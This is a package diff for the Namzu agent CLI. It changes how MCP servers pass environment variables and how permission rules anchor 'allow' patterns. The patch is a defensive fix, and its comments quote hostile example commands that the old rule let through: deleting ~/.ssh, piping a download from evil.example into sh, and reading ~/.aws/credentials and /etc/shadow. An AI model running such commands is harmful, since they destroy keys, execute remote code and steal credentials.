{"version":3,"file":"servers.d.ts","sourceRoot":"","sources":["../../../src/integrations/mcp/servers.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAgCG;AAEH,OAAO,EAEN,KAAK,iBAAiB,EACtB,KAAK,cAAc,EAEnB,MAAM,YAAY,CAAA;AAEnB;;;;;;;GAOG;AACH,eAAO,MAAM,kBAAkB,QAAS,CAAA;AAExC;;;;;;;GAOG;AACH,eAAO,MAAM,gBAAgB,OAAQ,CAAA;AAErC,gFAAgF;AAChF,MAAM,WAAW,aAAa;IAC7B,oCAAoC;IACpC,QAAQ,CAAC,OAAO,CAAC,EAAE,MAAM,CAAA;IACzB,QAAQ,CAAC,IAAI,CAAC,EAAE,SAAS,MAAM,EAAE,CAAA;IACjC,QAAQ,CAAC,GAAG,CAAC,EAAE,QAAQ,CAAC,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC,CAAA;IAC/C,gEAAgE;IAChE,QAAQ,CAAC,GAAG,CAAC,EAAE,MAAM,CAAA;IACrB,mCAAmC;IACnC,QAAQ,CAAC,GAAG,CAAC,EAAE,MAAM,CAAA;IACrB,QAAQ,CAAC,OAAO,CAAC,EAAE,QAAQ,CAAC,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC,CAAA;CACnD;AAED,MAAM,MAAM,gBAAgB,GAAG,QAAQ,CAAC,MAAM,CAAC,MAAM,EAAE,aAAa,CAAC,CAAC,CAAA;AAEtE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
|
@@ -69,6 +69,7 @@ export function transportFor(spec, defaultCwd) {
|
|
|
69
69
|
command: spec.command,
|
|
70
70
|
...(spec.args ? { args: [...spec.args] } : {}),
|
|
71
71
|
...(spec.env ? { env: { ...spec.env } } : {}),
|
|
72
|
+
...(spec.inheritEnv ? { inheritEnv: [...spec.inheritEnv] } : {}),
|
|
72
73
|
cwd: spec.cwd ?? defaultCwd,
|
|
73
74
|
};
|
|
74
75
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"servers.js","sourceRoot":"","sources":["../../../src/integrations/mcp/servers.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAgCG;AAEH,OAAO,EACN,SAAS,EAGT,uBAAuB,GACvB,MAAM,YAAY,CAAA;AAEnB;;;;;;;GAOG;AACH,MAAM,CAAC,MAAM,kBAAkB,GAAG,MAAM,CAAA;AAExC;;;;;;;GAOG;AACH,MAAM,CAAC,MAAM,gBAAgB,GAAG,KAAK,CAAA;
|
|
1
|
+
{"version":3,"file":"servers.js","sourceRoot":"","sources":["../../../src/integrations/mcp/servers.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAgCG;AAEH,OAAO,EACN,SAAS,EAGT,uBAAuB,GACvB,MAAM,YAAY,CAAA;AAEnB;;;;;;;GAOG;AACH,MAAM,CAAC,MAAM,kBAAkB,GAAG,MAAM,CAAA;AAExC;;;;;;;GAOG;AACH,MAAM,CAAC,MAAM,gBAAgB,GAAG,KAAK,CAAA;AAwDrC;;;;;;GAMG;AACH,MAAM,UAAU,YAAY,CAAC,IAAmB,EAAE,UAAkB;IACnE,MAAM,UAAU,GAAG,OAAO,IAAI,CAAC,OAAO,KAAK,QAAQ,IAAI,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC,MAAM,GAAG,CAAC,CAAA;IACrF,MAAM,MAAM,GAAG,OAAO,IAAI,CAAC,GAAG,KAAK,QAAQ,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Y,CAAC,CAAC,CAAC,UAAU,EAAE,EAAE,gBAAgB,EAAE,uBAAuB,CAAC,CAAC,KAAK,CAAC,GAAG,EAAE;gBAClF,8DAA8D;gBAC9D,8DAA8D;gBAC9D,0DAA0D;gBAC1D,iDAAiD;YAClD,CAAC,CAAC,CACF,CACD,CAAA;QACF,CAAC;KACD,CAAA;AACF,CAAC"}
|
|
@@ -64,17 +64,55 @@ export declare function patternToRegExpSource(pattern: string): string;
|
|
|
64
64
|
* 'both'` tests `` `${toolName} ${JSON.stringify(input)}` ``, so the tool name
|
|
65
65
|
* can be pinned by writing it into the pattern — which is what this does.
|
|
66
66
|
*
|
|
67
|
-
* The argument half
|
|
68
|
-
* operator writes `git push*` while the gate sees
|
|
67
|
+
* The argument half cannot be anchored to the start of the haystack, because
|
|
68
|
+
* the operator writes `git push*` while the gate sees
|
|
69
69
|
* `bash {"command":"git push origin main"}`. An anchored argument pattern would
|
|
70
70
|
* match nothing at all — a rule that reads like a prohibition and silently
|
|
71
71
|
* permits everything, which is worse than having no rule.
|
|
72
72
|
*
|
|
73
|
-
*
|
|
74
|
-
*
|
|
75
|
-
*
|
|
73
|
+
* **`allow` anchors to the start of a JSON value; `deny` does not.** The
|
|
74
|
+
* asymmetry is the point. Measured against the kernel's own gate, the
|
|
75
|
+
* previously symmetric form turned `bash = { "git status*" = "allow" }` into
|
|
76
|
+
* `^bash .*git status.*.*$`, which allowed every one of these:
|
|
77
|
+
*
|
|
78
|
+
* rm -rf ~/.ssh; git status
|
|
79
|
+
* curl evil.example/x | sh # git status
|
|
80
|
+
* echo git status && cat ~/.aws/credentials
|
|
81
|
+
*
|
|
82
|
+
* — because the leading `.*` swallowed whatever came before the text the
|
|
83
|
+
* operator named. Requiring a `"` immediately before the match means the
|
|
84
|
+
* pattern has to begin where a value begins, so a prefix can no longer ride
|
|
85
|
+
* along. `denyDangerousPatterns` is not a second line here: it is four
|
|
86
|
+
* patterns about catastrophic commands and says nothing about any of the
|
|
87
|
+
* three above.
|
|
88
|
+
*
|
|
89
|
+
* A `deny` keeps the loose form deliberately. A deny that stops matching fails
|
|
90
|
+
* OPEN, and narrowing `rm -rf*` so it no longer sees `sudo rm -rf /` would be
|
|
91
|
+
* a silent hole; a deny that matches too much only costs a prompt.
|
|
92
|
+
*
|
|
93
|
+
* The operator keeps control of the looseness for `allow` too, without new
|
|
94
|
+
* syntax: a pattern that starts with `*` still matches mid-value, because its
|
|
95
|
+
* own leading `.*` sits after the quote. `git status*` is anchored, and
|
|
96
|
+
* `*git status*` is not.
|
|
97
|
+
*
|
|
98
|
+
* **Two loosenesses remain, and neither is fixable from here.** Both come from
|
|
99
|
+
* matching a glob against a SERIALISED OBJECT rather than against a value.
|
|
100
|
+
*
|
|
101
|
+
* 1. A pattern can match the start of ANY argument's value, not only the one
|
|
102
|
+
* the operator had in mind.
|
|
103
|
+
* 2. The match is still open on the right. `git status *` compiles to
|
|
104
|
+
* `^git status( .*)?$`, which alone refuses `git statusx` — but scoped to a
|
|
105
|
+
* tool it needs a trailing `.*` to get past the closing `"}`, and that `.*`
|
|
106
|
+
* absorbs `x; cat /etc/shadow` as well. Dropping the trailing `.*` is not
|
|
107
|
+
* the answer: `edit = { "*.ts" = … }` would then have to match to the end of
|
|
108
|
+
* the serialised object and would match nothing.
|
|
109
|
+
*
|
|
110
|
+
* The kernel's `argument_pattern` removes both, because its subject is the
|
|
111
|
+
* argument's own value and it needs neither escape. It is implemented and
|
|
112
|
+
* unused here. Reaching it needs a way for an operator to NAME the argument in
|
|
113
|
+
* config, which is an operator-facing syntax decision rather than a repair.
|
|
76
114
|
*/
|
|
77
|
-
export declare function toolScopedPattern(tool: string, pattern: string): string;
|
|
115
|
+
export declare function toolScopedPattern(tool: string, pattern: string, decision?: 'allow' | 'deny'): string;
|
|
78
116
|
/** Whether `input` satisfies `pattern`, with the matching above. */
|
|
79
117
|
export declare function matchesPattern(input: string, pattern: string): boolean;
|
|
80
118
|
/**
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"rules.d.ts","sourceRoot":"","sources":["../../src/permissions/rules.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,YAAY,CAAA;AAElD,6DAA6D;AAC7D,MAAM,MAAM,gBAAgB,GAAG,OAAO,GAAG,KAAK,GAAG,MAAM,CAAA;AAIvD,wBAAgB,kBAAkB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,gBAAgB,CAE5E;AAED;;;;;;;GAOG;AACH,MAAM,MAAM,cAAc,GAAG,gBAAgB,GAAG,QAAQ,CAAC,MAAM,CAAC,MAAM,EAAE,gBAAgB,CAAC,CAAC,CAAA;AAE1F,MAAM,MAAM,iBAAiB,GAAG,QAAQ,CAAC,MAAM,CAAC,MAAM,EAAE,cAAc,CAAC,CAAC,CAAA;AAExE,MAAM,WAAW,iBAAiB;IACjC,QAAQ,CAAC,IAAI,EAAE,MAAM,CAAA;IACrB,QAAQ,CAAC,OAAO,CAAC,EAAE,MAAM,CAAA;IACzB,QAAQ,CAAC,OAAO,EAAE,MAAM,CAAA;CACxB;AAED,MAAM,WAAW,mBAAmB;IACnC,QAAQ,CAAC,KAAK,EAAE,SAAS,gBAAgB,EAAE,CAAA;IAC3C;;;;;;;OAOG;IACH,QAAQ,CAAC,WAAW,EAAE,SAAS,iBAAiB,EAAE,CAAA;CAClD;AAED;;;;;;;;;;;;GAYG;AACH,wBAAgB,qBAAqB,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAQ7D;AAED
|
|
1
|
+
{"version":3,"file":"rules.d.ts","sourceRoot":"","sources":["../../src/permissions/rules.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,YAAY,CAAA;AAElD,6DAA6D;AAC7D,MAAM,MAAM,gBAAgB,GAAG,OAAO,GAAG,KAAK,GAAG,MAAM,CAAA;AAIvD,wBAAgB,kBAAkB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-45,20 +45,63 @@ export function patternToRegExpSource(pattern) {
|
|
|
45
45
|
* 'both'` tests `` `${toolName} ${JSON.stringify(input)}` ``, so the tool name
|
|
46
46
|
* can be pinned by writing it into the pattern — which is what this does.
|
|
47
47
|
*
|
|
48
|
-
* The argument half
|
|
49
|
-
* operator writes `git push*` while the gate sees
|
|
48
|
+
* The argument half cannot be anchored to the start of the haystack, because
|
|
49
|
+
* the operator writes `git push*` while the gate sees
|
|
50
50
|
* `bash {"command":"git push origin main"}`. An anchored argument pattern would
|
|
51
51
|
* match nothing at all — a rule that reads like a prohibition and silently
|
|
52
52
|
* permits everything, which is worse than having no rule.
|
|
53
53
|
*
|
|
54
|
-
*
|
|
55
|
-
*
|
|
56
|
-
*
|
|
54
|
+
* **`allow` anchors to the start of a JSON value; `deny` does not.** The
|
|
55
|
+
* asymmetry is the point. Measured against the kernel's own gate, the
|
|
56
|
+
* previously symmetric form turned `bash = { "git status*" = "allow" }` into
|
|
57
|
+
* `^bash .*git status.*.*$`, which allowed every one of these:
|
|
58
|
+
*
|
|
59
|
+
* rm -rf ~/.ssh; git status
|
|
60
|
+
* curl evil.example/x | sh # git status
|
|
61
|
+
* echo git status && cat ~/.aws/credentials
|
|
62
|
+
*
|
|
63
|
+
* — because the leading `.*` swallowed whatever came before the text the
|
|
64
|
+
* operator named. Requiring a `"` immediately before the match means the
|
|
65
|
+
* pattern has to begin where a value begins, so a prefix can no longer ride
|
|
66
|
+
* along. `denyDangerousPatterns` is not a second line here: it is four
|
|
67
|
+
* patterns about catastrophic commands and says nothing about any of the
|
|
68
|
+
* three above.
|
|
69
|
+
*
|
|
70
|
+
* A `deny` keeps the loose form deliberately. A deny that stops matching fails
|
|
71
|
+
* OPEN, and narrowing `rm -rf*` so it no longer sees `sudo rm -rf /` would be
|
|
72
|
+
* a silent hole; a deny that matches too much only costs a prompt.
|
|
73
|
+
*
|
|
74
|
+
* The operator keeps control of the looseness for `allow` too, without new
|
|
75
|
+
* syntax: a pattern that starts with `*` still matches mid-value, because its
|
|
76
|
+
* own leading `.*` sits after the quote. `git status*` is anchored, and
|
|
77
|
+
* `*git status*` is not.
|
|
78
|
+
*
|
|
79
|
+
* **Two loosenesses remain, and neither is fixable from here.** Both come from
|
|
80
|
+
* matching a glob against a SERIALISED OBJECT rather than against a value.
|
|
81
|
+
*
|
|
82
|
+
* 1. A pattern can match the start of ANY argument's value, not only the one
|
|
83
|
+
* the operator had in mind.
|
|
84
|
+
* 2. The match is still open on the right. `git status *` compiles to
|
|
85
|
+
* `^git status( .*)?$`, which alone refuses `git statusx` — but scoped to a
|
|
86
|
+
* tool it needs a trailing `.*` to get past the closing `"}`, and that `.*`
|
|
87
|
+
* absorbs `x; cat /etc/shadow` as well. Dropping the trailing `.*` is not
|
|
88
|
+
* the answer: `edit = { "*.ts" = … }` would then have to match to the end of
|
|
89
|
+
* the serialised object and would match nothing.
|
|
90
|
+
*
|
|
91
|
+
* The kernel's `argument_pattern` removes both, because its subject is the
|
|
92
|
+
* argument's own value and it needs neither escape. It is implemented and
|
|
93
|
+
* unused here. Reaching it needs a way for an operator to NAME the argument in
|
|
94
|
+
* config, which is an operator-facing syntax decision rather than a repair.
|
|
57
95
|
*/
|
|
58
|
-
export function toolScopedPattern(tool, pattern) {
|
|
96
|
+
export function toolScopedPattern(tool, pattern, decision = 'deny') {
|
|
59
97
|
const toolPart = escapeRegExp(tool);
|
|
60
98
|
const argPart = patternToRegExpSource(pattern).slice(1, -1);
|
|
61
|
-
|
|
99
|
+
// A pattern of nothing but wildcards means "any call to this tool", and
|
|
100
|
+
// that has to keep meaning it. Requiring a quote would make it "any call
|
|
101
|
+
// whose serialised input contains a string", which is almost always the
|
|
102
|
+
// same set and silently is not for a tool called with a bare number.
|
|
103
|
+
const anchorToValue = decision === 'allow' && pattern.replaceAll('*', '') !== '';
|
|
104
|
+
return anchorToValue ? `^${toolPart} .*"${argPart}.*$` : `^${toolPart} .*${argPart}.*$`;
|
|
62
105
|
}
|
|
63
106
|
function escapeRegExp(value) {
|
|
64
107
|
return value.replace(/[.*+^${}()|[\]\\?]/g, '\\$&');
|
|
@@ -152,7 +195,7 @@ export function compilePermissions(config) {
|
|
|
152
195
|
}
|
|
153
196
|
rules.push({
|
|
154
197
|
type: 'custom_pattern',
|
|
155
|
-
pattern: toolScopedPattern(tool, pattern),
|
|
198
|
+
pattern: toolScopedPattern(tool, pattern, effect),
|
|
156
199
|
target: 'both',
|
|
157
200
|
decision: effect,
|
|
158
201
|
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"rules.js","sourceRoot":"","sources":["../../src/permissions/rules.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAOH,MAAM,OAAO,GAAG,IAAI,GAAG,CAAS,CAAC,OAAO,EAAE,KAAK,EAAE,MAAM,CAAC,CAAC,CAAA;AAEzD,MAAM,UAAU,kBAAkB,CAAC,KAAc;IAChD,OAAO,OAAO,KAAK,KAAK,QAAQ,IAAI,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,CAAA;AACvD,CAAC;AAiCD;;;;;;;;;;;;GAYG;AACH,MAAM,UAAU,qBAAqB,CAAC,OAAe;IACpD,MAAM,UAAU,GAAG,OAAO,CAAC,UAAU,CAAC,IAAI,EAAE,GAAG,CAAC,CAAA;IAChD,MAAM,OAAO,GAAG,UAAU;SACxB,OAAO,CAAC,mBAAmB,EAAE,MAAM,CAAC;SACpC,OAAO,CAAC,KAAK,EAAE,IAAI,CAAC;SACpB,OAAO,CAAC,KAAK,EAAE,GAAG,CAAC,CAAA;IACrB,MAAM,iBAAiB,GAAG,OAAO,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAA;IAC7F,OAAO,IAAI,iBAAiB,GAAG,CAAA;AAChC,CAAC;AAED
|
|
1
|
+
{"version":3,"file":"rules.js","sourceRoot":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UAAU,CAAC,OAAO,CAAC,CAAA;YAClC,IAAI,CAAC,kBAAkB,CAAC,MAAM,CAAC,EAAE,CAAC;gBACjC,WAAW,CAAC,IAAI,CAAC;oBAChB,IAAI;oBACJ,OAAO;oBACP,OAAO,EAAE,0CAA0C,IAAI,CAAC,SAAS,CAAC,MAAM,CAAC,EAAE;iBAC3E,CAAC,CAAA;gBACF,SAAQ;YACT,CAAC;YACD,IAAI,MAAM,KAAK,KAAK;gBAAE,SAAQ;YAC9B,IAAI,CAAC;gBACJ,IAAI,MAAM,CAAC,qBAAqB,CAAC,OAAO,CAAC,CAAC,CAAA;YAC3C,CAAC;YAAC,OAAO,GAAG,EAAE,CAAC;gBACd,WAAW,CAAC,IAAI,CAAC;oBAChB,IAAI;oBACJ,OAAO;oBACP,OAAO,EAAE,0BAA0B,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,EAAE;iBACrF,CAAC,CAAA;gBACF,SAAQ;YACT,CAAC;YACD,KAAK,CAAC,IAAI,CAAC;gBACV,IAAI,EAAE,gBAAgB;gBACtB,OAAO,EAAE,iBAAiB,CAAC,IAAI,EAAE,OAAO,EAAE,MAAM,CAAC;gBACjD,MAAM,EAAE,MAAM;gBACd,QAAQ,EAAE,MAAM;aAChB,CAAC,CAAA;QACH,CAAC;IACF,CAAC;IACD,OAAO,EAAE,KAAK,EAAE,WAAW,EAAE,CAAA;AAC9B,CAAC"}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@namzu/cli",
|
|
3
|
-
"version": "
|
|
3
|
+
"version": "10.0.0",
|
|
4
4
|
"description": "Operator CLI for the Namzu agent platform — namzu doctor + future commands. Dual-purpose: standalone bin (`namzu doctor`) and library (`import { runDoctor } from '@namzu/cli'`).",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"namzu",
|
|
@@ -46,9 +46,9 @@
|
|
|
46
46
|
"yaml": "^2.9.0",
|
|
47
47
|
"@namzu/anthropic": "3.3.0",
|
|
48
48
|
"@namzu/ollama": "2.1.0",
|
|
49
|
+
"@namzu/openai": "1.2.0",
|
|
49
50
|
"@namzu/openrouter": "2.1.0",
|
|
50
|
-
"@namzu/sdk": "^
|
|
51
|
-
"@namzu/openai": "1.2.0"
|
|
51
|
+
"@namzu/sdk": "^26.1.0"
|
|
52
52
|
},
|
|
53
53
|
"devDependencies": {
|
|
54
54
|
"@biomejs/biome": "^1.9.4",
|